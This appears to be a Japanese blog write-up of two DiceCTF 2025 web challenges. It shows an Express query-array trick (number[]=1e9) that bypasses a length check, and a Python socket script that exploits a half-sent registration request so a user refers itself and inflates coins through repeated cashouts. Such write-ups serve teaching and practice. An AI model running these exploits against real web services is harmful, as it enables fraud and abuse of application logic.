はまやんはまやんはまやん

hamayanhamayan's blog

DiceCTF 2025 Quals Writeup

[web] cookie recipes v3

Mmmmmmm...

ソースコード有り。クッキーを焼いて10億個以上集めるとフラグが得られるWebアプリケーション。クッキーを焼く際にnumberパラメータの長さが2文字以下に制限されている。この制限をどうバイパスするかがポイント。

app.post('/bake', (req, res) => {
    const number = req.query.number
    if (!number) {
        res.end('missing number')
    } else if (number.length <= 2) {
        cookies.set(req.user, (cookies.get(req.user) ?? 0) + Number(number))
        res.end(cookies.get(req.user).toString())
    } else {
        res.end('that is too many cookies')
    }
})

app.post('/deliver', (req, res) => {
    const current = cookies.get(req.user) ?? 0
    const target = 1_000_000_000
    if (current < target) {
        res.end(`not enough (need ${target - current}) more`)
    } else {
        res.end(process.env.FLAG)
    }
})

配列パラメータの悪用

Express.jsのクエリパラメータ処理では、?number[]=1e9のように配列形式でパラメータを送ると、req.query.numberは配列オブジェクト['1e9']になる。このときnumber.lengthは配列の長さを表すため、1となり、2文字以下の制限を満たす。この状態でNumber(number)が実行されると、JavaScriptで良い感じに解釈してくれて、1000000000(10億)になる。

POST /bake?number[]=1e9 HTTP/1.1
Host: [redacted]

以上のようにやれば、10億個買えてフラグがPOST /deliverで手に入る。

[web] pyramid

Would you like to buy some supplements?

ソースコード有り。ネズミ講(ピラミッドスキーム)を模したwebアプリでコインを稼ぐ問題。問題にアクセスすると、サプリメントを販売するサイトが表示される。このサイトでは以下の機能がある。

  • ユーザー登録(紹介コード付きで登録可能)
  • 紹介コードの生成
  • 紹介ユーザー数をコインに換金
  • 100,000,000,000コイン以上でフラグを購入可能

通常の方法では十分なコインを集めるのは時間がかかりすぎるので、非同期処理の脆弱性を利用して自己紹介をして、指数関数的にお金を増やすということをする。

1. ユーザー登録の非同期処理を悪用した自己紹介

ユーザー登録で見慣れぬ形を見つけた。

app.post('/new', (req, res) => {
    const token = random()

    const body = []
    req.on('data', Array.prototype.push.bind(body))
    req.on('end', () => {
        const data = Buffer.concat(body).toString()
        const parsed = new URLSearchParams(data)
        const name = parsed.get('name')?.toString() ?? 'JD'
        const code = parsed.get('refer') ?? null

        // referrer receives the referral
        const r = referrer(code)
        if (r) { r.ref += 1 }

        users.set(token, {
            name,
            code,
            ref: 0,
            bal: 0,
        })
    })

    res.header('set-cookie', `token=${token}`)
    res.redirect('/')
})

非同期処理になっていて、Request Bodyを受け取る前に、set-cookieをしてredirect /を返している。つまり、ユーザー情報が保存される前にトークンを得ることができる。よって、以下の流れで自己紹介することができる。

  1. POST /newにRequest Header部分のみを送信するとレスポンスが返ってくるので取得して、止めておく(ソケットを維持)
  2. レスポンスにtokenが含まれているので、GET /codeを使って招待コードを取得する
  3. 手順1の続きとして、名前と手順2で得られた招待コードを渡すと、自分で自分を招待する形でユーザー登録ができる

これを根性実装すると以下のようになる。

import socket
import ssl
import time
import re
import httpx

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
context = ssl.create_default_context()

host = "[redacted]"
port = 443

s.connect((host, port))
ssl_sock = context.wrap_socket(s, server_hostname=host)

body = "name=same-chan&refer="
placeholder = "4e56977f932a272bda40c1c49b06ecfe"

request_headers = (
    f"POST /new HTTP/1.1\r\n"
    f"Host: {host}\r\n"
    f"Content-Type: application/x-www-form-urlencoded\r\n"
    f"Content-Length: {len(body)+len(placeholder)}\r\n"
    f"Connection: keep-alive\r\n"
    f"\r\n"
)
ssl_sock.sendall(request_headers.encode())

ssl_sock.settimeout(3.0)
response = ssl_sock.recv(4096)
response_str = response.decode('utf-8', errors='ignore')
token_match = re.search(r'set-cookie:\s*token=([^;\r\n]+)', response_str, re.IGNORECASE)
token = token_match.group(1)

headers = { "Cookie": f"token={token}" }
response = httpx.get(f"https://{host}/code", headers=headers, timeout=10)
response.raise_for_status()
res = response.text.strip()
token_match = re.search(r'<strong>([0-9a-f]*)</strong>', res, re.IGNORECASE)
code = token_match.group(1)

body += code
ssl_sock.sendall(body.encode())

print(f"{token=}")
print(f"{code=}")
print(f"{body=}")

ssl_sock.close()

2. 換金処理の悪用

自己紹介の状態でGET /cashoutをすると、指数関数的にお金を増やすことができる。

// referrals translate 1:1 to coins
// you receive half of your referrals as coins
// your referrer receives the other half as kickback
//
// if your referrer is null, you can turn all referrals into coins
app.get('/cashout', (req, res) => {
    if (req.user) {
        const u = req.user
        const r = referrer(u.code)
        if (r) {
            [u.ref, r.ref, u.bal] = [0, r.ref + u.ref / 2, u.bal + u.ref / 2]
        } else {
            [u.ref, u.bal] = [0, u.bal + u.ref]
        }
    }
    res.redirect('/')
})

これだと分かりにくいと思うので、自分が自分を招待したときの動作をシミュレートするコードで実験する。

var ur = 1;
var ub = 0;

for (let i = 0; i < 100; i++) {
    [ur, ur, ub] = [0, ur + ur / 2, ub + ur / 2];
    console.log(`ur: ${ur}, ub: ${ub}`);
}

これをnodeで動かすと、

...
ur: 2184164.40907457, ub: 2184163.40907457
ur: 3276246.613611855, ub: 3276245.613611855
ur: 4914369.920417783, ub: 4914368.920417783
ur: 7371554.880626675, ub: 7371553.880626675
ur: 11057332.320940012, ub: 11057331.320940012
ur: 16585998.48141002, ub: 16585997.48141002
ur: 24878997.72211503, ub: 24878996.72211503
ur: 37318496.583172545, ub: 37318495.583172545
ur: 55977744.87475882, ub: 55977743.87475882
ur: 83966617.31213823, ub: 83966616.31213823
ur: 125949925.96820734, ub: 125949924.96820734
ur: 188924888.952311, ub: 188924887.952311
ur: 283387333.4284665, ub: 283387332.4284665
ur: 425081000.1426997, ub: 425080999.1426997
ur: 637621500.2140496, ub: 637621499.2140496

となって、指数関数的に増えていくことが分かる。なので、自己紹介ユーザーを作ったら、適当に別のユーザーを招待して作って招待ポイントを数点手に入れたら、あとは、GET /cashoutを押しまくればよい。コインが指数関数的に増加し、100,000,000,000コインを超えたらフラグが買える。